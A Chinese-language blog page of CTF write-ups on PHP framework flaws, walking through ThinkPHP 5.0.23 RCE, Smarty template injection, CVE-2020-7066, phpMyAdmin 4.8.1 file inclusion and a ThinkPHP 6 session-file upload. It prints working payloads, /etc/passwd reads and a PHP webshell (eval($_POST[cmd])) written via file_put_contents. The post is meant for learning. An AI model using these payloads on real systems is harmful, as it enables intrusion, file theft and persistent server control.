文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-27   1.6k

BUUCTF——PHP框架漏洞篇

BJDCTF 2nd old-hacker

考点

  • ThinkPHP 5.0.23 RCE

解题

payload:

1
2
index.php?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

BJDCTF2020 The mystery of ip

考点

  • PHP Smarty 模板注入

解题

payload:

1
X-Forward-For: {{system("ls")}}

GKCTF2020 CVE版签到

考点

  • cve-2020-7066

解题

首先Google一下cve-2020-7066

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\0)字符,则URL将被静默地截断

demo:

1
2
3
4
5
6
7
8
9
10
<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);

在PHP7.1版本下会输出Null,在PHP7.2版本下会输出http://localhost

访问首页查看network

结合cve-2020-7066,用http://127.0.0.123%00www.ctfhub.com即可获得flag。

localhost不是单指127.0.0.1,而是符合127.0.0.0/24这一网段的IP地址,比如127.0.0.100也可以叫localhost

GYCTF2019 我有一个数据库

考点

  • phpmyadmin 4.8.1 任意文件读取

解题

打开题目提示有一个数据库,访问robots.txt,发现phpinfo.php页面,过一遍之后没有什么可以利用的。(我都不知道为啥要给这个文件,反而把我给带偏了。)

扫一下目录,扫出来了phpmyadmin路径,访问后没有密码直接进入数据库管理页面,除了MySQL自带的两个数据库,确实没有其他的数据库,查看当前phpmyadmin版本是4.8.1,这个版本有一个CVE-2018-12613的公开漏洞,可以任意文件读取。那就直接上payload:

1
index.php/?target=db_datadict.php%253f/../../../../../../../flag

后记

知其然更要知其所以然,来复现一下phpmyadmin 4.8.1。

问题就出在第61行的include函数

前提是绕过55-59行的检查。

第55行和第56行都比较容易pass,第57行限制target参数不能以index开头,第58行限制target参数不能有$target_blacklist数组中的关键字,其中$target_blacklist包括import.phpexport.php,第59行将target参数传入checkPageValidity进行检查,找到对应的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

要想使该函数返回true,包含的文件必须包含在白名单$goto_whitelist中,

第14行到21行的代码是以?分割然后取出前面的字符串再判断值是否存在与$goto_whilelist某个数组中。

第23行到第31行代码是将$page参数用urlencode解码再进行以?分割取出前面的值做判断。

我把?两次url编码为 %253f 即可绕过验证。

那么传入target=db_sql.php%253f/../../etc/passwd,其中%253f是?号的二此url编码urlcode将$page解码后是db_sql.php?/../../etc/passwd ,再以?分割取出来前面的字符串为db_sql.php,​$goto_whitelist中有db_sql.php所以会进入最后一个if语句并返回true。

利用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:

CISCN2019 华东南赛区 Web11

考点

  • smarty SSTI

解题

参考文章

页面提示两个API并不能用,但是在右上角还是看到了一个Current IP的显示,而且页脚还说明了这个站点用到了Smarty模板引擎,那么SSTI的注入点应该就是在X-Forward-For请求头。

{{7*'7'}}测试一下

用网上常见的Smarty SSTI读文件的payload:

1
{self::getStreamVariable("file:///etc/passwd")}

直接报错。

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等。

按照if的这个特性,尝试执行phpinfo(),成功执行。

使用system函数可以执行ls命令,但是不能执行读文件的操作。那就直接用show_source函数

拓展

不同版本可以利用的方式不同,常用的有以下三种方法:

1.旧版Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令。

Smarty3的官方手册描述:

1
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

2.旧版Smarty可以通过self获取Smarty类再调用其静态方法实现文件读写

3.PHP函数都可以在模板中使用,因此注入时,可以直接使用:

1
{system('ls')}

便可随意执行命令;执行多条语句的话可以使用下面的形式:

1
{system('ls')}{system('cat index.php')}

-----------------分割线

攻防世界上有一道升级版的,限制disable_function以及open_basedir。

但是还是可以直接写shell,用蚁剑连接直接绕过。

1
{file_put_contents('/var/www/html/shell.php','<?php eval($_POST[cmd]);?>')}

GYCTF2020 Easy Thinking

考点

  • ThinkPHP 6.0.0~6.0.2 任意文件上传

解题

随便测试发现用的框架是ThinkPHP6.0,Google一下就可以看到1月份爆出的任意文件上传的漏洞。

https://paper.seebug.org/1114

扫描之后有源码泄露www.zip,下载之后审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}

发现 search搜索的地方有一个 session 的储存。

先注册一个账号,登录,然后搜索的时候抓包。

thinkphp6 会默认在 /runtime/session 创建一个sess_xxx格式的session文件,这里的xxx就是PHPSESSID(必须是32位),而文件的内容就是session的内容,也就是key的内容。

然后搜索的时候写入shell

再用蚁剑连接,用插件绕过disable_function。

Copyright © ca01h 2019-2020 | 本站总访问量